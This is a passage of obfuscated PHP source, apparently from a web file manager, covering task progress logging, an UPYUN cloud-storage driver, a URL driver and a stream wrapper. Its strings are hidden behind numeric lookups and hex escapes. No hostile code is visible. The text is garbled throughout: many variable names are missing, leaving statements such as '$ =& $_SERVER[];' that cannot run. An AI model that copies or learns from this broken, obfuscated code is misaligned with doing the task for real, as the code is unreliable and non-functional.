$[$⨮߸[1827]] == $) { $Ӽ = 0; } $this->update($Ӽ); } else { $this->update(); $[$⨮߸[1817]] = 0; } Cache::remove($[$⨮߸[475]] . $⨮߸[1830]); self::log($⨮߸[1833] . $ . $⨮߸[73] . $ . $⨮߸[262] . $ȋ . $⨮߸[1834] . $[$⨮߸[1814]]); } public function updateFileEnd($, $ě) { $¡ =& $_SERVER[]; $ɝѿ =& $this->task; $ɝѿ[$¡[1814]] = $; $ɝѿ[$¡[1816]] = $ě; $ɝѿ[$¡[1820]] += $ě; $ɝѿ[$¡[1821]] = $ɝѿ[$¡[1820]]; $this->update(1); self::log($¡[1835] . $); } public function sourceModelCopy($) { $֑ =& $_SERVER[]; $ = $[0]; $ = $[1]; $Ј =& $this->task; $this->sourceModelCopyFlag = !0; $̈́ = 0; switch ($) { case $֑[635]: $̈́ = 1; break; case $֑[638]: $Ј[$֑[1814]] = $[$֑[32]]; break; case $֑[640]: $̈́ = intval($[$֑[456]] * 0.4); break; case $֑[642]: $̈́ = intval($[$֑[456]] * 0.2); break; case $֑[644]: $̈́ = intval($[$֑[456]] * 0.4); break; } $this->update($̈́); $this->sourceModelCopyFlag = !1; } public function sourceRemove($̏, $䧇Э) { $Ŋ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($̏[$Ŋ[82]])) { $ = $̏[$Ŋ[82]][$Ŋ[80]]; $ = $ + $̏[$Ŋ[82]][$Ŋ[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($Ţ) { $this->sourceRemove($Ţ, !1); } public function curlProgress($, $ьӆ, $Ա, $А, $ɋ) { $Ϯ =& $_SERVER[]; $ =& $this->task; if ($ɋ > 0) { $[$Ϯ[1136]] = $Ϯ[1836]; $[$Ϯ[1818]] = $Ϯ[110]; if ($[$Ϯ[1816]]) { $[$Ϯ[1817]] = $ɋ; } if ($[$Ϯ[1819]]) { $[$Ϯ[1817]] = $ɋ + $[$Ϯ[1819]]; } } else { if ($Ա > 0) { if ($[$Ϯ[1816]] == $ьӆ) { $[$Ϯ[1817]] = $Ա; $[$Ϯ[1136]] = $Ϯ[1837]; $[$Ϯ[1818]] = $Ϯ[1272]; } } } $this->update(); } public function curlProgressStart($ę) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $Ɇ =& $this->task; $ꭖ = curl_getinfo($); $ᴊ = $ꭖ[$[1838]]; if ($ᴊ == -1) { $ᴊ = $ꭖ[$[1839]]; } if ($Ɇ[$[1818]] == $[110] && $ᴊ) { $Ɇ[$[1819]] += $ᴊ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ôǩ =& $_SERVER[]; $л¥ =& $this->task; $л¥[$ôǩ[1840]] = 1; Hook::bind($ôǩ[1808], array($this, $ôǩ[1841])); Hook::bind($ôǩ[1810], array($this, $ôǩ[1842])); Hook::bind($ôǩ[1812], array($this, $ôǩ[1843])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1808], array($this, $[1841])); Hook::unbind($[1810], array($this, $[1842])); Hook::unbind($[1812], array($this, $[1843])); } public function progressStart($) { $ =& $_SERVER[]; $Ղ = curl_getinfo($); self::log($[1844] . $Ղ[$[383]]); self::valueSet($this->task[$[475]], $this->task); } public function progressEnd($ՠ) { $ǵ =& $_SERVER[]; self::log($ǵ[1845] . $this->task[$ǵ[475]]); $this->end(); } public function progress($Ԏ, $ɓ, $, $, $) { $ݹ =& $_SERVER[]; $ߪ =& $this->task; if ($ > 0) { $ߪ[$ݹ[1134]] = $ߪ[$ݹ[1134]] == 0 ? $ : $ߪ[$ݹ[1134]]; $ߪ[$ݹ[1764]] = $; } else { if ($ > 0) { $ߪ[$ݹ[1134]] = $ߪ[$ݹ[1134]] == 0 ? $ɓ : $ߪ[$ݹ[1134]]; $ߪ[$ݹ[1764]] = $; } } $this->update(); self::log("\x70\x72\x6f\x67\162\x65\x73\x73\x48\164\164\160\x3a\144\157\167\x6e\72{$}\x2f{$ɓ}\73\x20\165\160\154\157\x61\x64\72{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ŏЉ, $ = '', $ = 0, $Ԛǯ = '') { $ =& $_SERVER[]; $Ԛǯ = $Ԛǯ ? $Ԛǯ : ($ ? $ : $ŏЉ); $耰 = new Task($ŏЉ, $, $, $Ԛǯ); $GLOBALS[$[1846] . $ŏЉ] = new TaskLog($[1747], $耰, $Ԛǯ); return $耰; } public function __construct($ͣ = '', $ʛ = '', $ = '') { $ŋ =& $_SERVER[]; if (!$ͣ) { $ͣ = $ŋ[1747]; } $ = $ͣ . $ŋ[462] . rand_string(10); if (!$) { $ = $ͣ . $ŋ[53] . $; } switch ($ͣ) { case $ŋ[1747]: if (!$ʛ || !$ʛ->task) { return echoLog($ͣ . $ŋ[1847]); } $ = $ʛ; $ = $->task[$ŋ[475]]; $ͣ = $->task[$ŋ[475]]; if (!$->task[$ŋ[1652]]) { $->task[$ŋ[1652]] = $ ? $ : $ͣ; } break; case $ŋ[1848]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = is_string($ʛ) ? array($ʛ) : $ʛ; $ = new TaskFileTransfer($, $ͣ, 0, $ ? $ : $[0]); foreach ($ as $پ) { $->addPath($پ); } break; case $ŋ[389]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = is_string($ʛ) ? array($ʛ) : $ʛ; $ = new TaskZip($, $ͣ, 0, $ ? $ : $[0]); foreach ($ as $پ) { $->addPath($پ); } break; case $ŋ[1292]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = new TaskUnZip($, $ͣ, 0, $ ? $ : $ʛ); if ($ʛ) { $->addFile($ʛ); } break; case $ŋ[152]: $ = new TaskHttp($, $ͣ); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($ŋ[1784], array($this, $ŋ[1850])); Hook::bind($ŋ[1786], array($this, $ŋ[1851])); Hook::bind($ŋ[1780], array($this, $ŋ[1852])); echoLog($ŋ[1853] . $->task[$ŋ[1652]]); } public function __destruct() { $this->end(); } public function end($͘ = '') { $Ξ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($͘); $this->task = !1; $this->taskID = !1; Hook::unbind($Ξ[1784], array($this, $Ξ[1850])); Hook::unbind($Ξ[1786], array($this, $Ξ[1851])); Hook::unbind($Ξ[1780], array($this, $Ξ[1852])); } public function taskUpdate($Ŧ) { $䏌 =& $_SERVER[]; if (!$Ŧ || $this->taskID != $Ŧ[$䏌[475]]) { return; } $ = 20; $ੲ = intval($Ŧ[$䏌[1765]] * $); $ = $䏌[176] . str_repeat($䏌[506], $ੲ) . $䏌[1085] . str_repeat($䏌[53], $ - $ੲ) . $䏌[178]; $ = $ . sprintf($䏌[1854], $Ŧ[$䏌[1765]] * 100) . $䏌[1855]; $ = $ . $Ŧ[$䏌[1764]] . $䏌[8] . $Ŧ[$䏌[1134]] . LNG($䏌[1856]); $ = $䏌[12]; if ($Ŧ[$䏌[1840]]) { $ = $ . size_format($Ŧ[$䏌[1764]]) . $䏌[8] . size_format($Ŧ[$䏌[1134]]); $ = size_format($Ŧ[$䏌[1766]]) . $䏌[1857]; } if ($Ŧ[$䏌[1136]]) { $Ŧ[$䏌[1814]] = $Ŧ[$䏌[1136]] . $䏌[53] . $Ŧ[$䏌[1814]]; } if ($Ŧ[$䏌[1814]]) { $߷ = $䏌[12]; if ($Ŧ[$䏌[1816]]) { $߷ = $䏌[50] . size_format($Ŧ[$䏌[1817]]) . $䏌[8] . size_format($Ŧ[$䏌[1816]]); } $ .= $Ŧ[$䏌[1814]] . $߷; } if ($Ŧ[$䏌[830]] && !$Ŧ[$䏌[1816]]) { $ .= $䏌[53] . size_format($Ŧ[$䏌[1821]]) . $䏌[8] . size_format($Ŧ[$䏌[830]]); } echoLog($ . $䏌[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[475]]) { return; } $ = $ ? $[$[1764]] . $[8] . $[$[1134]] . LNG($[1856]) . $[74] : $[12]; echoLog($[1858] . $[$[1652]] . ($[$[526]] ? $[74] . $[$[526]] : $[12]) . $[74] . $ . $[1859] . sprintf($[925], timeFloat() - $[$[1767]]) . $[1779]); $this->end(); } public function taskKill($ɵ) { $â =& $_SERVER[]; if (!$ɵ || $this->taskID != $ɵ[$â[475]]) { return; } echoLog($â[1860] . $ɵ[$â[1652]]); } } goto bǏن; Dȸ: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\x74\x70\x3a\x2f\x2f\x76\x30\x2e\x61\160\x69\x2e\x75\x70\x79\165\156\56\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Ͷ) { parent::__construct(); $this->_init($Ͷ); } public function _init($ơ) { $ =& $_SERVER[]; foreach ($ơ as $ë => $) { if (isset($this->{$ë})) { $this->{$ë} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1536] . LNG($[1455])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ǒ, $ = "\x47\105\124") { $ =& $_SERVER[]; $η = gmdate($[1484]); $ݵާ = base64_encode(hash_hmac($[1537], "{$}\x26{$ǒ}\46{$η}", md5("{$this->userpass}"), !0)); $ = array("\101\165\x74\x68\x6f\x72\151\x7a\x61\164\151\x6f\156\72\x55\x50\x59\125\116\40{$this->username}\72{$ݵާ}", "\x44\x61\164\145\72{$η}"); return $; } public function ussRequest($, $қ = "\x47\x45\x54", $ۊ = false, $ = false, $ = false) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = "\x2f{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($, $қ); if ($) { $ = array_merge($, $); } $刦 = url_request($this->endpoint . $, $қ, $ۊ, $, $); if (!$刦) { $ؒ = LNG($[1538]); $this->writeLog($ؒ); return array($[1290] => !1, $[1280] => $ؒ); } if (strtolower($қ) == $[227] || in_array($刦[$[1290]], array($[274], $[1539]))) { $ۊ = $刦[$[1540]]; } else { $ۊ = json_decode($刦[$[1280]], !0); if (!$ۊ) { $ۊ = $刦[$[1280]]; } else { if (!$刦[$[817]] && isset($ۊ[$[1541]])) { $ۊ = $ۊ[$[1541]]; } } } if (!$刦[$[817]]) { $this->writeLog($this->__errorMessage($ۊ)); } return array($[1290] => $刦[$[817]], $[1280] => $ۊ); } private function __errorMessage($贄) { $ =& $_SERVER[]; if (!$贄) { return $[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $[1494]) { return $贄; } $ = array($[1542] => $[1543], $[1544] => $[1545], $[1546] => $[1545], $[1547] => $[1548], $[1549] => $[1550], $[1551] => $[1552], $[1553] => $[1554]); return isset($[$贄]) ? $[$贄] : $贄; } public function mkfile($, $泉 = '', $څ = REPEAT_RENAME) { if ($this->setContent($, $泉)) { return $this->getPathOuter($); } return !1; } public function mkdir($՚, $˃ = REPEAT_SKIP) { $ǔ =& $_SERVER[]; $ү = trim($՚, $ǔ[8]); if ($this->_isFolder($ү)) { return $this->getPathOuter($ү); } $ח = array($ǔ[1555]); $ = $this->ussRequest($ү, $ǔ[257], !1, $ח); return $[$ǔ[1290]] ? $this->getPathOuter($ү) : !1; } public function copyFile($ܥԬ, $) { $ =& $_SERVER[]; $μ = array($[1556] . "\x2f{$this->bucket}\57{$ܥԬ}", $[1557]); $ۿ = $this->ussRequest($, $[259], !1, $μ); return $ۿ[$[1290]] ? !0 : $this->getPathOuter($); } public function moveFile($с, $ƍݜ) { $ȋ =& $_SERVER[]; $٢읈 = array($ȋ[1558] . "\x2f{$this->bucket}\x2f{$с}", $ȋ[1557]); $ = $this->ussRequest($ƍݜ, $ȋ[259], !1, $٢읈); return $[$ȋ[1290]] ? !0 : $this->getPathOuter($ƍݜ); } public function delFile($ ) { $ =& $_SERVER[]; $ = $this->ussRequest($ , $[1559]); return $[$[1290]] ? !0 : !1; } public function delFolder($љ߇) { $ˠ =& $_SERVER[]; if (!$this->exist($љ߇)) { return !0; } $this->listItemCache = !1; $ƈ = $خۼ = array(); $this->fileList($љ߇, $ƈ, $خۼ, !0); $this->listItemCache = !0; foreach ($خۼ as $ǚ) { $߈˹ = $this->ussRequest($ǚ[$ˠ[32]], $ˠ[1559]); if (!$߈˹[$ˠ[1290]]) { return !1; } } foreach ($ƈ as $) { $߈˹ = $this->ussRequest($, $ˠ[1559]); if (!$߈˹[$ˠ[1290]]) { return !1; } } $߈˹ = $this->ussRequest($љ߇, $ˠ[1559]); return $߈˹[$ˠ[1290]]; } public function rename($ȸ, $ϣ) { if ($this->isFile($ȸ)) { $ϣ = get_path_father($ȸ) . $ϣ; return $this->moveFile($ȸ, $ϣ); } return $this->renameObject($ȸ, $ϣ); } public function fileInfo($, $Ə = false, $Ԉ = array()) { $쒐 =& $_SERVER[]; $͠ = array($쒐[32] => $this->pathThis($), $쒐[87] => $this->getPathOuter($쒐[8] . $), $쒐[33] => $쒐[230], $쒐[79] => isset($Ԉ[$쒐[79]]) ? $Ԉ[$쒐[79]] : 0, $쒐[169] => $this->ext($)); if ($Ə) { return $͠; } $͠[$쒐[231]] = $͠[$쒐[88]] = 0; $͠[$쒐[232]] = $͠[$쒐[233]] = !0; if (empty($Ԉ)) { $Ԉ = $this->objectMeta($); if (!$Ԉ) { return $͠; } } $͠[$쒐[231]] = intval($Ԉ[$쒐[1560]]); $͠[$쒐[88]] = intval($Ԉ[$쒐[1561]]); $͠[$쒐[79]] = $Ԉ[$쒐[79]]; return $͠; } public function folderInfo($, $Д˺ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($Д˺) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[231]] = intval($[$[1560]]); $[$[88]] = intval($[$[1561]]); return $; } private function listObjs($҆Ë, $ހ = 0, $Ր = 1000) { $珰 =& $_SERVER[]; $ȳ = array($珰[1562], $珰[1563] . $Ր); if ($ހ) { $ȳ[] = $珰[1564] . $ހ; } $ҋ = $this->ussRequest($҆Ë, $珰[261], !1, $ȳ); return !$ҋ[$珰[1290]] ? !1 : $ҋ[$珰[1280]]; } private function fileList($ח, &$ȷ, &$, $ = false) { $łܦ =& $_SERVER[]; $ġ = $łܦ[12]; $ = 1000; $ = rtrim($ח, $łܦ[8]) . $łܦ[8]; while (!0) { check_abort(); $ߒ = $this->listObjs($ח, $ġ, $); if (!$ߒ) { return !1; } $ġ = isset($ߒ[$łܦ[1565]]) ? $ߒ[$łܦ[1565]] : $łܦ[12]; $ț = isset($ߒ[$łܦ[1566]]) ? $ߒ[$łܦ[1566]] : array(); foreach ($ț as $֝) { $⸵Ɂ = $֝[$łܦ[33]] == $łܦ[78] ? !0 : !1; $û = ltrim($ . $֝[$łܦ[32]], $łܦ[8]) . ($⸵Ɂ ? $łܦ[8] : $łܦ[12]); $師 = array($łܦ[32] => $û, $łܦ[33] => $⸵Ɂ ? $łܦ[78] : $łܦ[230], $łܦ[79] => $֝[$łܦ[413]], $łܦ[1561] => $֝[$łܦ[1567]]); $this->cacheMethodInfoSet($û, $⸵Ɂ, $師); if ($⸵Ɂ) { $ȷ[] = $û; if ($) { $this->fileList($û, $ȷ, $, $); } continue; } $[] = $師; } if (count($ț) < $) { break; } } $this->cacheMethodInfoSet($ח, !0); } public function listPath($, $µ = false) { $ƕ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $뎎 => $㪂) { $[$뎎] = $this->folderInfo($㪂, $µ); } foreach ($ as $뎎 => $㪂) { $[$뎎] = $this->fileInfo($㪂[$ƕ[32]], $µ, $㪂); } return array($ƕ[85] => $, $ƕ[86] => $); } public function has($Ģ, $ = false, $熨 = true) { $þƩ =& $_SERVER[]; $ = $þƩ[12]; $٦ = 500; $҉ = 0; $Р = 0; $ = rtrim($Ģ, $þƩ[8]) . $þƩ[8]; while (!0) { check_abort(); $ = $this->listObjs($Ģ, $, $٦); if (!$) { return !1; } $ = isset($[$þƩ[1565]]) ? $[$þƩ[1565]] : $þƩ[12]; $˪߈ = isset($[$þƩ[1566]]) ? $[$þƩ[1566]] : array(); if (empty($˪߈)) { break; } $ݟم = array_filter($˪߈, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $ԉ = count($˪߈); $ݟم = count($ݟم); $֒ = $ԉ - $ݟم; if ($) { $Р += $ݟم; $҉ += $֒; if ($ԉ < $٦) { break; } continue; } if ($熨) { if ($֒) { return !0; } } else { if ($ݟم) { return !0; } } if ($ԉ < $٦) { break; } } if ($) { return array($þƩ[239] => $҉, $þƩ[240] => $Р); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ڠ = $ס = array(); $this->fileList($, $ڠ, $ס, !0); $ = array_to_keyvalue($ס, $[32]); foreach ($ڠ as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($䵍) { return $this->exist($䵍) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($졧) { return $this->fileSubstr($졧, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; if (!$) { $˺ = $this->ussRequest($, $[257]); return $˺[$[1290]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $ĭ, $ձ) { $̚ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ձ > 0) { $ = $ĭ + $ձ - 1; $ = array($̚[1526] . $ĭ . $̚[462] . $); } $縘 = url_request($, $̚[261], !1, $); return $縘[$̚[817]] ? $縘[$̚[1280]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ߚ = IO::size($); if ($ߚ <= 1024 * 1024 * 200) { $ϖ٥ = array($[1568] . $); $ = $this->ussRequest($, $[259], $ϖ٥); return $[$[1290]] ? $this->getPathOuter($) : !1; } $̾ = 1024 * 1024 * 10; $ = array($[1569], $[1570] . $ߚ, $[1571], $[1572] . $̾); $ = $this->ussRequest($, $[259], !1, $); if (!$[$[1290]]) { return !1; } $ = $[$[1280]]; $ΐ = 0; $ = $[$[1573]]; $學 = fopen($, $[1449]); if (!$學) { return !1; } do { $പ = $[$[1574]]; fseek_64($學, $ΐ); $͚ = fread($學, $പ); $ʹ = 0; do { $ʹ++; $ = $this->uploadPart($, $, $͚); } while (!$ && $ʹ < 3); if (!$) { return !1; } $ = $[$[1573]]; $ΐ += $പ; } while ($ != -1); fclose($學); $ = array($[1575], $[1576] . $[$[1577]], $[1571]); $ = $this->ussRequest($, $[259], !1, $); return $[$[1290]] ? $this->getPathOuter($) : !1; } private function uploadPart($ۼ, $, &$) { $ =& $_SERVER[]; $љ = array($[1578], $[1576] . $[$[1577]], $[1579] . $[$[1573]], $[146] . $[$[1574]]); $־ = $this->ussRequest($ۼ, $[259], $, $љ); return !$־[$[1290]] ? $־[$[1290]] : $־[$[1280]]; } public function uploadFormData($, $ì = 3600) { return $this->uploadPolicy($, $ì); } public function multiUploadFormData($, $נ܁ = 3600) { $̩ =& $_SERVER[]; $Ȱ = (int) $GLOBALS[$̩[7]][$̩[79]]; return $this->uploadPolicy($, $נ܁, $Ȱ); } private function uploadPolicy($, $ = 3600, $Ѵ = 0) { $ɰ =& $_SERVER[]; $ɪ = $ɰ[8] . $this->bucket; $ = gmdate($ɰ[1484]); $ = array($ɰ[1580] => $this->bucket, $ɰ[1581] => $, $ɰ[1582] => time() + $, $ɰ[1583] => $); if ($Ѵ) { $[$ɰ[1469]] = $Ѵ; } $Ο = base64_encode(json_encode($)); $ą = base64_encode(hash_hmac($ɰ[1537], "\x50\117\123\x54\x26{$ɪ}\46{$}\46{$Ο}", md5("{$this->userpass}"), !0)); $ = array($ɰ[293] => $Ο, $ɰ[1584] => "\125\120\x59\x55\x4e\x20{$this->username}\72{$ą}", $ɰ[208] => $this->endpoint . $ɪ); return $; } public function download($, $) { $ڌ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $گ = 1024 * 200; $ֆ = fopen($ڌ, $_SERVER[][1532]); while (!0) { $ǁ = $this->fileSubstr($, $, $گ); if ($ǁ === !1) { return !1; } fwrite($ֆ, $ǁ); $ += $گ; if (strlen($ǁ) < $گ) { break; } } fclose($ֆ); return $; } public function link($Ԇ, $ = array()) { $ =& $_SERVER[]; $Ԇ = trim($Ԇ, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1585])); $뚺 = substr(md5($this->token . $[360] . $ . $[1586] . $Ԇ), 12, 8) . $; $[] = $[1587] . $뚺; } $ͮ = !empty($) ? $[76] . implode($[360], $) : $[12]; return $this->getHost() . $[8] . $Ԇ . $ͮ; } public function fileOut($ɾ, $ȶ = false, $ș = false, $ĺл = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ɾ, $ȶ, $ș, $ĺл); } if (!$ș) { $ș = $this->pathThis($ɾ); } $ = $ȶ ? array($_SERVER[][1588] . rawurlencode($ș)) : array(); $ = $this->link($ɾ, $); $this->fileOutLink($); } public function fileOutServer($٨, $ = false, $ = false, $ȧ = '') { parent::fileOut($٨, $, $, $ȧ); } public function fileOutImage($, $ = 250) { $筭 = $this->link($ . $_SERVER[][1589] . $); $this->fileOutLink($筭); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ē) { $տ =& $_SERVER[]; $ͮɑ = $this->_objectMeta($ē); return isset($ͮɑ[$տ[245]]) ? $ͮɑ[$տ[245]] : !1; } public function size($Ͼ) { $ = $this->objectMeta($Ͼ); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ؤ) { return $this->isFile($ؤ) || $this->isFolder($ؤ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($𥜲) { return $this->cacheMethod($_SERVER[][179], $𥜲); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ڗ = $this->ussRequest($, $[1590]); if (!$ڗ[$[1290]]) { return null; } $ = isset($ڗ[$[1280]]) ? $ڗ[$[1280]] : array(); if (!isset($[$[1591]])) { return null; } $ = array($[33] => isset($[$[1591]]) ? $[$[1591]] : null, $[79] => isset($[$[1592]]) ? $[$[1592]] : null, $[245] => isset($[$[1593]]) ? $[$[1593]] : null, $[1560] => isset($[$[1594]]) ? $[$[1594]] : null); $[$[1561]] = isset($[$[1595]]) ? strtotime($[$[1595]]) : $[$[1560]]; return $; } protected function _isFolder($ּ) { $я =& $_SERVER[]; if ($ּ == $я[12] || $ּ == $я[8]) { return !0; } $ο = $this->_objectMeta($ּ); return isset($ο[$я[33]]) && $ο[$я[33]] == $я[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ݰȔ) { $ = $this->info($ݰȔ); return $[$_SERVER[][232]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][232]]; } public function isFolder($Ù) { return !1; } public function size($) { $ = $this->info($); return $[$_SERVER[][79]]; } public function info($ŏ) { return $this->infoParse($ŏ); } public function infoAuth($Ӿ) { return $this->infoParse($Ӿ); } public function infoWithChildren($ы) { return $this->infoParse($ы); } public function infoFull($) { return $this->infoParse($); } private function infoParse($̽) { $ =& $_SERVER[]; $ȁ = $this->header($̽); if (!$ȁ || !$ȁ[$[817]]) { return !1; } $Ï = _get($ȁ, $[413], 0); $ = array($[32] => $ȁ[$[32]], $[87] => $̽, $[33] => $[230], $[79] => intval($Ï), $[169] => get_path_ext($ȁ[$[32]]), $[1446] => $Ï > 0 && $ȁ[$[1596]], $[1447] => !1); return $; } private function header($) { $ㇻ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $쉤 = isset($GLOBALS[$ㇻ[1597]]) ? $GLOBALS[$ㇻ[1597]] : !1; $GLOBALS[$ㇻ[1597]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$ㇻ[1597]] = $쉤; return self::$_cacheHeader[$]; } public function hashSimple($ޥ, $о = false) { $쪎 =& $_SERVER[]; $懹 = $this->info($ޥ); if (!$懹 || !$懹[$쪎[232]]) { return !1; } $ = $懹[$쪎[79]]; $ظ = 200; $ּ = 50; if ($ <= $ظ * $ּ) { return md5($this->fileSubstr($ޥ, 0, $)) . $; } $ = intval($ / $ּ); $ߗӏ = $쪎[12]; $뗧 = timeFloat(); $ = 15; for ($봎 = 0; $봎 < $ּ; $봎++) { if (timeFloat() - $뗧 > $) { return !1; } $萖 = $this->fileSubstr($ޥ, $ * $봎, $ظ); if (!$萖) { return !1; } $ߗӏ .= $萖; } $ߗӏ .= $this->fileSubstr($ޥ, $ - $ظ, $ظ); return md5($ߗӏ) . $; } public function getContent($ꊕ) { return $this->fileSubstr($ꊕ); } public function fileSubstr($ơ, $ = 0, $Ư講 = -1) { $ =& $_SERVER[]; $ = $this->info($ơ); if (!$ || !$[$[232]] && $[$[79]] > 1024 * 1024 * 10) { return !1; } if ($Ư講 === -1) { $Ư講 = $[$[79]]; } if ($Ư講 == 0) { return $[12]; } $ = array($[1598] . $ . $[860] . ($ + $Ư講 - 1)); $ = url_request($ơ, $[261], !1, $, !1, !1, 30); return $[$[1280]] ? $[$[1280]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $Nj = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $莖 = $this->fileSubstr($this->pose, $); $this->pose += strlen($莖); return $莖; } public function stream_tell() { return $this->pose; } public function stream_seek($䊗, $¶) { $Ӛ =& $_SERVER[]; if ($¶ == SEEK_SET) { $this->pose = $䊗; } else { if ($¶ == SEEK_CUR) { $this->pose += $䊗; } else { if ($¶ == SEEK_END) { $this->pose = $this->info[$Ӛ[79]] + intval($䊗); } } } if ($䊗 < 0) { $this->pose = $this->info[$Ӛ[79]] + $䊗; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ژ, $ي) { $Ӊ =& $_SERVER[]; $ = $this->info($ژ); return array($Ӊ[1599] => 0, $Ӊ[1600] => 0, $Ӊ[16] => 32768 + 511, $Ӊ[1601] => 0, $Ӊ[1602] => 0, $Ӊ[1603] => 0, $Ӊ[1604] => 0, $Ӊ[79] => $[$Ӊ[79]], $Ӊ[1605] => $[$Ӊ[1445]], $Ӊ[1561] => $[$Ӊ[88]], $Ӊ[1560] => $[$Ӊ[231]], $Ӊ[1606] => 0, $Ӊ[1607] => 0); } static $fileInfo = array(); public function info($Ȍ) { $ = $_SERVER[][1608]; if (isset(self::$fileInfo[$Ȍ])) { return self::$fileInfo[$Ȍ]; } if (substr($Ȍ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$Ȍ] = IO::info(substr($Ȍ, strlen($))); return self::$fileInfo[$Ȍ]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } public static function _read($ȋ, $Nj, $) { $ц =& $_SERVER[]; $ = fopen($ȋ, $ц[1449]); if (!$) { return $ц[12]; } $ = 8192; fseek($, $Nj, SEEK_SET); $ך = $ц[12]; $ = 0; while ($ < $) { $ = min($, $ - $); $ך .= fread($, $); $ += $; } fclose($); return $ך; } public function fileSubstr($, $у) { $⬰ =& $_SERVER[]; $د = $this->info[$⬰[79]]; $ = $; $Վٌ = $у; if ($ < 0) { $ = $د + $; } if ($у === !1) { $у = $د - $; } if ($ + $у > $د) { $у = $د - $; } if ($у <= 0) { return $⬰[12]; } if ($ < 0 || $ >= $د || $у <= 0 || $у > 1024 * 1024 * 10) { throw new Exception("\151\157\x46\151\154\x65\x52\145\141\x64\40\x65\162\x72\x6f\x72\x21\40\x73\164\141\x72\x74\75{$}\x3b\x6c\145\156\147\164\150\75{$у}\73\x20\163\x69\x7a\145\75{$د}\73"); } $פ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $Űـ = $⬰[12]; foreach ($ as $ => $Űـ) { $ = intval($); $ = $ + strlen($Űـ); if ($ >= $) { continue; } if ($ >= $ && $ + $у <= $) { return substr($Űـ, $ - $, $у); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($⬰[1609], $⬰[1610] . count($) . "\73\163\x74\141\x72\164\x3d{$}\x2c\x6c\145\156\147\164\150\x3d{$у}\x3b\160\157\x73\145\72{$}\x7e{$}"); throw new Exception($⬰[1611]); } $ԣ = intval($ / $פ) * $פ; $̣ = ceil(($ + $у) / $פ) * $פ - 